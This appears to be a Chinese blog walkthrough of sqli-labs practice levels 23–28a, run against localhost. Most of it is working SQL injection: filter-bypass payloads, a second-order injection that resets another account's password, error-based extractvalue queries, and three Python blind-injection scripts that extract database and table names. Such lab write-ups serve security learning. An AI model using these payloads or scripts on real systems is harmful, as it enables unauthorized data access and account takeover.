程序员经验分享-hwhale

Sqli-labs靶场详细攻略Less 23-28a

2023-11-06

Less 23-28a

Less 23 GET - Error based - strip comments

这一关还是使用get方法进行注入，不过这次对#、--+这些用于注释的字符做了过滤。这样我们可以使用两个'进行绕过，第一个'用于闭合原代码语句中的前一个'，后一个用来闭合源代码语句中的后一个'。在两个单引号中间加上我们想要执行的sql语句即可。

在id参数上传入代码

id=-1' union select 1,2,3 '

发现回显的部分还是与基础部分的效果一样，也就是回显3列的查询，显示出的是第2，3列的内容。

在这里插入图片描述

那么，就可以正常注入了，在union select的第2或3的位置放上查询的payload

id=-1' union select 1,2,database() '

在这里插入图片描述

查询成功。

Less 24 POST- Second Oder Injections *Real treat* - Stored injection

这一关为二次排序注入，也叫存储型的注入，具体是将可能导致sql注入的字符先存入到数据库中，当再次调用这个而已构造的字符时，就可以实现sql注入。

在这一关中，假设我们要改掉数据库中原本的一个名为Dumb的账号的密码，我们可以先注册一个名为Dumb' -- 的用户（），密码设成123（随便一个自己能记住的数）。

在这里插入图片描述

注册成功

在这里插入图片描述

查看数据库，发现输入的用户名原封不动被放了进去，没有进行过滤。

在这里插入图片描述

然后我们使用Dumb' -- 这个账号进行登录。

在这里插入图片描述

登录成功，在这个页面可以更改当前帐号的密码，改一下试试。这里改成了111。

在这里插入图片描述

来数据库看一眼，发现我们创建的Dumb' -- 账号的密码没有改，而数据库中原本的Dumb账号的密码被改成了111。

在这里插入图片描述

用111这个密码尝试登陆Dumb账号

在这里插入图片描述

登陆成功。

看一下源码，看看为什么会这样

源码中更新数据库密码的sql语句如下所示。

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

当我们将用户名为Dumb' -- 的账号密码改为111时，这个sql语句就变为了：

UPDATE users SET PASSWORD='111' where username='Dumb' -- ' and password='$curr_pass'

-- 后面的语句就都被注释掉了，原语句中还有对当前账户原密码的检查也一同被注释掉了，这样这个语句就变成了把Dumb账号的密码改为111。

Less 25 GET - Error based - All your OR & AND belong to us - String single quotes

这一关过滤了字符串and和or，不过经过尝试，这里只是对这两个字符串删除了一次，可以使用双写技巧轻易绕过。

-1' oorr 1=1 --+

在这里插入图片描述

剩下的流程就跟前几关相同了，这里使用union select查询数据库名。

在这里插入图片描述

查询成功。

Less 25a GET - Blind Based - All your OR & AND belong to us -integer based

这一关是过滤了or和and字符的bool型盲注，与上一关相同，这两个字符串都只过滤了一遍，一样的，改一下之前用过的get方法盲注的脚本。

from lxml import html
import requests

def getCheck(url,xpath,payload):
    r=requests.get(url+payload)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)
    if('Your Login name' in check[0]):
        return 1
    else:
        return 0

def database_length(url,xpath):
    length=0
    for i in range(1,30):
        payload=" aandnd length((select database()))<%s --+"%i
        check=getCheck(url,xpath,payload)
        if(check):
            break
        else:
            length+=1
    print('Database length:'+str(length))
    return length

def database_name(url,xpath,dbl):
    dbname=''
    for i in range(1,dbl+1):
        for j in range(97,123):
            payload=" aandnd ascii(substr((select database()),%s,%s))=%s--+"%(i,i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                # print(chr(j))
                dbname+=chr(j)
    print('database name:'+str(dbname))
    return dbname

def database_table(url,xpath,dbname):
    tablenum=0
    for i in range(0,100):
        payload=" aandnd length((select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'))=%s--+"%(dbname,i)
        check=getCheck(url,xpath,payload)
        if(check):
            tablenum=i
            break
    dbtables=''
    for i in range(1,tablenum+1):
        for j in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            payload=" aandnd substr((select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'),%s,1)='%s'--+"%(dbname,i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                dbtables+=j
                break
    return dbtables

if __name__=='__main__':
    url="http://127.0.0.1/Less-25a/?id=1"
    xpath="/html/body/div/font[2]/font/text()[1]"
    dbl=database_length(url,xpath)
    dbname=database_name(url,xpath,dbl)
    dbtables=database_table(url,xpath,dbname)
    print("tables:"+str(dbtables))

主要改的就是获得页面上因为表达式正确或错误而返回的页面元素的xpath和判断其内容的方式，还有注入的sql语句中的and和or都加入双写。

运行脚本，注入成功。

在这里插入图片描述

Less 26 GET - Error based - All your SPACES and COMMENTS belong to us

这一关的过滤比较狠，看一眼源码，过滤了or、and、/*、--、#、空格、斜线。

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

可能是因为我这里的环境问题，从网上找到的使用url编码代替空格或是使用%a0代替空格的方法都无效。这里想想别的办法。

这里可以看到数据库的报错还是可以返回的，尝试报错注入。

在这里插入图片描述

看一眼源代码中的sql语句：

SELECT * FROM users WHERE id='$id' LIMIT 0,1

这里构造注入代码：

?id='||extractvalue(1,concat(1,database()))||'

注入到源代码中变为如下sql语句。

SELECT * FROM users WHERE id=''||extractvalue(1,concat(1,database()))||'' LIMIT 0,1

||符号的作用是连接字符串，比如'abc'||'def'的结果就是'abcdef'。

这个sql语句的意思是从users表中选取id为输入值的表项，这里的id则是一个空字符连接extractvalue()函数的结果再连接一个空字符。然后必然会执行extractvalue()函数，而这个函数在我们的精心构造下会产生报错，报错信息就会包含我们要查询的数据库名。

运行注入代码，查询成功。

在这里插入图片描述

因为这里不能用空格，所以后面查表名、列名等的语句这里就都用不了了，只能试试数据库自带的version()、user()函数等来收集一些信息了。

上网找了找资料，发现可以使用括号代替空格的作用，重新修改一下注入的sql语句

?id='||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'

这个括号的闭合比较复杂，仔细检查闭合完整。

在这里插入图片描述

查询成功。

Less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us- String-single quotes-Parenthesis

这一关与上一关的过滤相同，不过没有数据库错误没有返回。并且闭合的方式变为')了。

想想办法，不用空格也能取到每一位的字符。

构造注入代码：

?id=1')aandnd(substr((database()),1,1)='s')aandnd('1'='1

前面一个')用于闭合前面的('，后面的('1'='1连起来后面的')成为一个永真式，这样这整个表达式的真假就反映了两个and中间的表达式的真假。按照这个思路改一下之前的脚本。

from lxml import html
import requests

def getCheck(url,xpath,payload):
    pay=url+payload+"anandd('1'='1"
    r=requests.get(pay)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)
    if(len(check)>0):
        return 1
    else:
        return 0

def database_length(url,xpath):
    length=0
    for i in range(1,30):
        payload="aandnd(length(database())<%s)"%i
        check=getCheck(url,xpath,payload)
        if(check):
            break
        else:
            length+=1
    print('Database length:'+str(length))
    return length

def database_name(url,xpath,dbl):
    dbname=''
    for i in range(1,dbl+1):
        for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
            payload="aandnd(substr((database()),%s,1)='%s')"%(i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                # print(chr(j))
                dbname+=j
    print('database name:'+str(dbname))
    return dbname

def database_table(url,xpath,dbname):
    tablenum=0
    for i in range(0,100):
        payload="aandnd(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')))<%s)"%(dbname,i)
        check=getCheck(url,xpath,payload)
        if(check):
            tablenum=i
            break
    dbtables=''
    for i in range(1,tablenum+1):
        for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
            payload="aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')),%s,1)='%s')"%(dbname,i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                dbtables+=j
                break
    return dbtables

if __name__=='__main__':
    url="http://127.0.0.1/Less-26a/?id=1')"
    xpath="/html/body/div/font[2]/font/text()[1]"
    dbl=database_length(url,xpath)
    dbname=database_name(url,xpath,dbl)
    dbtables=database_table(url,xpath,dbname)
    print("tables:"+str(dbtables))

经过一番努力，主要是修改了注入的sql语句，使用括号代替空格的功能，就是括号太多比较繁琐，得好好检查一下，理解起来其实跟前面的没什么区别。注意information这个单词里的or也会被过滤掉，也需要双写绕过的。

运行脚本，注入成功。

在这里插入图片描述
Less 27 GET - Error Based- All your UNION & SELECT Belong to us - String - Single quote

这一关的黑名单上多了union和select，不过少了and和or。其实也没什么影响，我们使用报错注入，本来也没有使用union和select这两个字段。而且黑名单上union和select两个字段的大小写是敏感的，可以使用uNiOn、sElect等的形式绕过。

构造注入代码

?id='||extractvalue(1,concat(1,database()))||'

注入成功

在这里插入图片描述

Less 27a GET - Blind Based- All your UNION & SELECT Belong to us -Double quotes

这一关与第27关相似，过滤的形式相同，只是没有错误回显了。闭合方式改为了"。同样的，改一下盲注的脚本。

from lxml import html
import requests

def getCheck(url,xpath,payload):
    pay=url+payload+'and"1"="1'
    r=requests.get(pay)
    tree=html.fromstring(r.text)
    check=tree.xpath(xpath)
    if(len(check)>0):
        return 1
    else:
        return 0

def database_length(url,xpath):
    length=0
    for i in range(1,30):
        payload="and(length(database())<%s)"%i
        check=getCheck(url,xpath,payload)
        if(check):
            break
        else:
            length+=1
    print('Database length:'+str(length))
    return length

def database_name(url,xpath,dbl):
    dbname=''
    for i in range(1,dbl+1):
        for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
            payload="and(substr((database()),%s,1)='%s')"%(i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                # print(chr(j))
                dbname+=j
    print('database name:'+str(dbname))
    return dbname

def database_table(url,xpath,dbname):
    tablenum=0
    for i in range(0,100):
        payload="and(length((sElect(group_concat(table_name))from(information_schema.tables)where(table_schema='%s')))<%s)"%(dbname,i)
        check=getCheck(url,xpath,payload)
        if(check):
            tablenum=i
            break
    dbtables=''
    for i in range(1,tablenum+1):
        for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
            payload="and(substr((sElect(group_concat(table_name))from(information_schema.tables)where(table_schema='%s')),%s,1)='%s')"%(dbname,i,j)
            check=getCheck(url,xpath,payload)
            if(check):
                dbtables+=j
                break
    return dbtables

if __name__=='__main__':
    url='http://127.0.0.1/Less-27a/?id=1"'
    xpath="/html/body/div/font[2]/font/text()[1]"
    dbl=database_length(url,xpath)
    dbname=database_name(url,xpath,dbl)
    dbtables=database_table(url,xpath,dbname)
    print("tables:"+str(dbtables))

Less 28 GET - Error Based- All your UNION & SELECT Belong to us- String -Single quote with parenthesis

经过尝试，这一关闭合的方式是')，但是extractvalue()、updatexml()、floor()函数的报错信息都没有回显了。

一顿查看资料，发现可以使用%0b代替空格完成注入。除了%0b外，还有%09、%0a、%0b、%0c、%0d、%20、%2e可能能代替空格，不过只是可能可以代替，具体情况还需要逐个尝试是否可以。

有了这个知识，只需要把上面用到的注入代码中的空格换成%0b即可。

?id=0')%0bunion%0bselect%0b1,database(),3%0bor%0b('1')=('1

注入成功

在这里插入图片描述

Less 28 GET - Blind Based- All your UNION & SELECT Belong to us - single quote - parenthesis

这一关与上一关没有区别，注入语句相同。

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

数据库

sql

网络安全

Sqli-labs靶场详细攻略Less 23-28a 的相关文章

  • 如何检测 Postgres 中持有锁的查询？

    我想不断跟踪 postgres 中的互锁 我碰到锁具监控 https wiki postgresql org wiki Lock Monitoring文章并尝试运行以下查询 SELECT bl pid AS blocked pid a us

  • 从存储过程中的动态 SQL 获取结果

    我正在编写一个存储过程 需要在过程中动态构造 SQL 语句以引用传入的表名称 我需要让这个 SQL 语句返回一个结果 然后我可以在整个过程的其余部分中使用该结果 我尝试过使用临时表和所有内容 但我不断收到一条消息 提示我需要声明变量等 例如

  • SQL 大表中的随机行（使用 where 子句）

    我有一个网站 人们可以在其中对汽车进行投票 向用户展示 4 辆汽车 他 她可以投票选出他们最喜欢的汽车 桌子cars有重要的列 car id int 10 not auto increment so has gaps views int 7

  • SQL - 为每条记录调用存储过程

    我正在寻找一种方法来为 select 语句的每条记录调用存储过程 SELECT SomeIds SELECT spro Id FROM SomeTable as spro INNER JOIN Address addr ON addr Id

  • SQL Group BY，每个组的前 N ​​个项目

    我有一个 SQL 查询 可以获取给定商店中销量最高的 5 件商品 SELECT TOP 5 S UPCCode SUM TotalDollarSales FROM Sales S WHERE S StoreId 1 GROUP BY S U

  • Yii 查询时对相关模型的限制

    我遇到了极限问题 我正在使用的代码如下 model PostCategory model record model gt with array posts gt array order gt posts createTime DESC li

  • SQL：查找每个跑步者跑步之间的平均天数

    因此 如果我们给出下表 runner ran Carol 2011 02 01 Alice 2011 02 01 Bob 2011 02 01 Carol 2011 02 02 Bob 2011 02 02 Bob 2011 02 03 B

  • 使用包含空值列的 WHERE 子句的更新语句

    我正在使用另一个表中的数据更新一个表上的列 这WHERE子句基于多个列 并且某些列为空 根据我的想法 这个空值是什么throwing off你的标准UPDATE TABLE SET X Y WHERE A B陈述 See 这个 SQL 小提

  • SQL 插入失败 - 违反主键约束

    我在 SQL Insert 语句中看到一个非常奇怪的问题 我有一个简单的表 带有一个 ID 和 2 个日期时间 请参阅下面的创建脚本 CREATE TABLE dbo DATA POPULATION LOGS ID int IDENTITY

  • 如何在sqlite中添加特定数量的空行？

    我有一个SQLite文件 我想添加2550 empty NULL rows 我可以使用此代码添加一个空行 INSERT INTO my table DEFAULT VALUES 但我需要 2550 行 有什么捷径吗 我不想执行相同的代码 2

  • 按两列的最小值排序

    I use SQL Server 2008 R2 我需要按两列的最小值对表进行排序 该表如下所示 ID integer Date1 datetime Date2 datetime 我希望我的数据按至少两个日期排序 以这种方式对该表进行排序的

  • 将此 MySQL 查询转换为 PyGreSQL

    我正在开发一个 Ruby 应用程序 它使用 mysql 函数 XOR 和 BIT COUNT 不过 我现在需要在运行 PyGreSQL 的 Heroku 上运行该应用程序 我找不到任何可以帮助我的 PyGreSQL 文档 那么任何人都可以翻

  • SQLite 条件 ORDER BY 中的 DESC

    我需要选择按以下逻辑排序的记录 但是当 DESC 处于条件中时 SQLite 会引发错误 ORDER BY CASE WHEN parentGUID IS NULL THEN datePosted DESC ELSE datePosted

  • 如何在SqlAlchemy中执行“左外连接”

    我需要执行这个查询 select field11 field12 from Table 1 t1 left outer join Table 2 t2 ON t2 tbl1 id t1 tbl1 id where t2 tbl2 id is

  • 如何将 SQL“LIKE”与 LINQ to Entities 结合使用？

    我有一个文本框 允许用户指定搜索字符串 包括通配符 例如 Joh Johnson mit ack on 在使用 LINQ to Entities 之前 我有一个存储过程 该存储过程将该字符串作为参数并执行以下操作 SELECT FROM T

  • oracle中的区间函数

    Query SELECT INTERVAL 300 month INTERVAL 54 2 year to month INTERVAL 11 12 10 1234567 hour to second FROM DUAL 上述查询的输出是

  • 尝试使用 sql 获取单行结果？ [复制]

    这个问题在这里已经有答案了 我正在尝试显示所有员工 ID 我需要这样的结果 emp id 10 11 12 13 14 15 当尝试时 SELECT LISTAGG emp id WITHIN GROUP ORDER BY emp id A

  • Netezza SQL 将 VARCHAR 转换为二进制字符串

    我有一个位图存储为VARCHAR在内特扎 需要转换一下VARCHAR转换为 Netezza 中的二进制字符串 输入 Netezza col 值 VARCHAR 0xFFFFFFFFFFFFFFFF 期望的输出 VARCHAR gt 1111

  • 在 Sql Server 中启用 DTD 支持

    我有各种 xml 文档需要存储在数据库列中 这些文档包含对 DTD 的引用 并且 SQL Server 不会导入 xml 因为它存在安全风险 如何在数据库上启用 DTD 支持 以便它可以让我插入 xml 内容 你必须CONVERT首先 MS

  • 关系代数 - 笛卡尔积与自然连接？

    我正在准备考试 但未能找到一个可靠的标准来确定笛卡尔积是否x要使用或者如果自然连接 X 是要使用的 我想出了一个粗略的指南 如果您需要投影与要连接的表中的属性同名的属性 则必须使用x并说明要投影的表名称 tableA colname1 ta

随机推荐

  • Linux和Windows之间传输文件sftp命令

    将win10中的文件 上传到linux系统 Dos中的sftp命令 在dos窗口中输入 sftp cent 10 xx xx 43 根据提示输入用户的密码 在sftp中输入 put hadoop 2 8 5 tar gz home cent

  • Python+Vue计算机毕业设计银行助学贷款管理系统0o571（源码+程序+LW+部署）

    该项目含有源码 文档 程序 数据库 配套开发软件 软件安装教程 项目运行环境配置 Python3 7 7 Django Mysql5 7 pip list HBuilderX Vscode也行 Vue Pychram社区版 项目技术 Dja

  • Python Pandas 图形绘制（一）：折线图，柱状图

    Pandas 图形绘制 一 折线图 柱状图 一 折线图 Line Chart 1 1 默认绘制折线图 df plot 1 2 绘制多条折线 二 柱状图 Bar Chart 2 1 垂直柱状图 df plot bar 2 2 叠加柱状图 st

  • 安全测试-优秀测试工程师必备的4项安全测试方法！

    用您5分钟时间阅读完 希望能对您有帮助 一 安全性测试 1 安全性测试方法 测试手段可以进行安全性测试 目前主要安全测试方法有 1 静态的代码安全测试 主要通过对源代码进行安全扫描 根据程序中数据流 控制流 语义等信息与其特有软件安全规则库

  • Couldn‘tparse bundle asset‘“D: \vue\cy_ gw2\dist\js \chunk- vendors.js1Analyzerwi 11usemodule

    报错信息 Couldn tparse bundle asset D vue cy gw2 dist js chunk vendors js1Analyzerwi 11usemodule 报错截图 报错原因 未安装less和less load

  • 从React源码来学hooks是不是更香呢

    本文将讲解 hooks 的执行过程以及常用的 hooks 的源码 hooks 相关数据结构 要理解 hooks 的执行过程 首先想要大家对 hooks 相关的数据结构有所了解 便于后面大家顺畅地阅读代码 Hook 每一个 hooks 方法都

  • 2D平面上的二连杆机器臂反向运动模拟（matlab代码示例）

    2D平面上的二连杆机器臂反向运动模拟 matlab上先下载 robotics system toolbox工具箱 robot rigidBodyTree DataFormat column MaxNumBodies 3 L1 1 the l

  • opencv+python物体检测【03-模仿学习】

    仿照练习 原文链接 步骤一 准备图片 正样本集 正样本集为包含 识别物体 的灰度图 一般大于等于2000张 尺寸不能太大 尺寸太大会导致训练时间过长 负样本集 负样本集为不含 识别物体 的任何图片 一般大于等于5000张 尺寸比正样本集稍大

  • Egg 使用 Sequelize

    npm install save egg sequelize mysql2 在 config plugin js 中引入 egg sequelize 插件 exports sequelize enable true package egg

  • 人工智能与教育融合的文献总结

    一般来说 人工智能与教育融合 首先要重塑教育理念 这是实现 教育 人工智能 的前提 格物斯坦提示 越是科技发达 越需要人性的支撑 教育的本质也是一种能力 生命和智能反映的是个体能力 这是亘古不变的科学原理 人工智能的观点来源于人们对于人工计

  • 数字型字符串千分位加逗号

    在数字型字符串千分位加逗号 param str return public static String addComma String str boolean neg false if str startsWith 处理负数 str str

  • 回调函数（入门篇）

    首先 我们回忆一下 标准库函数printf是如何被我们调用的 1 包含库函数所在的头文件 include

  • Linux sed 利剑之探索

    sed Linux sed命令是利用script来处理文本文件 sed可依照script的指令 来处理 编辑文本文件 Sed主要用来自动编辑一个或多个文件 简化对文件的反复操作 编写转换程序等 语法 sed hnV e

  • Linux防火墙开关命令

    关闭防火墙 systemctl stop firewalld service 停止firewall systemctl disable firewalld service 禁止firewall开机启动 开启端口 firewall cmd z

  • LeetCode算法题 :第三大的数thirdMax

    给定一个非空数组 返回此数组中第三大的数 如果不存在 则返回数组中最大的数 要求算法时间复杂度必须是O n 示例 1 输入 3 2 1 输出 1 解释 第三大的数是 1 示例 2 输入 1 2 输出 2 解释 第三大的数不存在 所以返回最大

  • 区块链笔记4--BTC实现

    1 UTXO 区块链是一个去中心化的账本 比特币采用了 基于交易的账本模式 然而 系统中并无显示记录账户包含BTC数 实际上其需要通过交易记录进行推算 在比特币系统中 全节点需要维护一个名为 UTXO UnspentTransaction

  • Android技术功底不够如何去面试，已整理成文档

    IT行业的前景 近几年来 大数据 人工智能AI 物联网等一些技术不断发展 也让人们看到了IT行业的繁荣与良好的前景 越来越多的高校学府加大了对计算机的投入 设立相应的热门专业来吸引招生 当然也有越来越多的人选择从事这个行业 希望能从这个行业

  • 线性回归介绍及分别使用最小二乘法和梯度下降法对线性回归C++实现

    回归 在这类任务中 计算机程序需要对给定输入预测数值 为了解决这个任务 学习算法需要输出函数f Rn R 除了返回结果的形式不一样外 这类问题和分类问题是很像的 这类任务的一个示例是预测投保人的索赔金额 用于设置保险费 或者预测证券未来的价

  • 进入U盘PE系统无法识别硬盘分区的原因分析和解决方法

    进入U盘PE系统无法识别硬盘分区的原因分析和解决方法 时间 2015 07 15 来源 http www xitongtiandi com 复制网址 进入U盘PE系统无法识别硬盘分区的原因分析和解决方法分享给大家 PE Windows PE

  • Sqli-labs靶场详细攻略Less 23-28a

    Less 23 28a Less 23 GET Error based strip comments 这一关还是使用get方法进行注入 不过这次对 这些用于注释的字符做了过滤 这样我们可以使用两个 进行绕过 第一个 用于闭合原代码语句中的前

热门标签